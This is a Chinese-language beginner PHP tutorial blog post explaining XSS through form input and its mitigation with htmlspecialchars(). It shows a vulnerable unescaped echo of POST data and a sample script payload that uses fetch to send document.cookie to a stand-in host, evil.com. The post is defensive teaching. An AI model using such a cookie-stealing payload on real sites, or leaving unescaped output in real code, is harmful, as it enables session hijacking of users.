iT邦幫忙

2025 iThome 鐵人賽

DAY 17
0
Modern Web

PHP 新手自學筆記系列 第 17

【Day17】表單驗證 (XXS攻擊)

  • 分享至 

  • xImage
  •  

在專案中,表單常常是最容易被駭客攻擊的地方,表單送出後,後端處理後回傳或存入資料庫,如果程式沒做檢查或過濾,就會被有心人士利用表單傳入攻擊程式碼,常見的有xxs和sql注入攻擊

今天主要介紹xxs攻擊(注入惡意JavaScript讓使用者在瀏覽器執行)

在php後端 沒做處理的code長這樣

echo "Welcome " . $_POST["name"];

惡意人士 在網頁的name欄位輸入並送出

<script>alert("XSS!")</script>

→瀏覽器執行js,彈出視窗xxs則代表這段js被執行。
原因:後端只是輸出文字,瀏覽器解析 HTML/JS 時就會執行惡意程式。

這只是簡單的範例若駭客輸入

<script>
  fetch("http://evil.com/steal?cookie=" + document.cookie);
</script>

則會被撈出使用者的登入 Cookie 傳到駭客自己的網站

我們要怎麼防治呢? 最常見的方法是使用跳脫字元htmlspecialchars()

htmlspecialchars 的作用
將 HTML 特殊字元轉成 HTML 實體:

字元 轉換後
< &lt;
> &gt;
" &quot;
' &#039;
& &amp;

把後端php改成

Welcome <?php echo htmlspecialchars($_POST["name"])

假設使用者一樣輸入

<script>alert("XSS!")</script>

後端處理

echo htmlspecialchars('<script>alert("XSS!")</script>');

經過跳脫字元處理會變成

&lt;script&gt;alert(&quot;XSS!&quot;)&lt;/script&gt;

前端輸出

Welcome <script>alert("XSS!")</script>

瀏覽器把 HTML 實體還原成文字。
沒有跳出 alert 視窗,所以 XSS 沒有成功。
真正成功的 XSS 只有在瀏覽器把 當作 HTML/JS 執行的時候

總結
htmlspecialchars() → 防止大部分表單輸入導致的 XSS,是基礎防禦。
其他情況 → 放在 JS、CSS、URL 或允許 HTML 標籤時,需要額外處理。
好習慣 → 無論 GET/POST/資料庫輸入,都輸出前先跳脫,或使用框架模板自動 escape


上一篇
【Day16】$_GET 和 $_POST 表單處理
系列文
PHP 新手自學筆記17
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言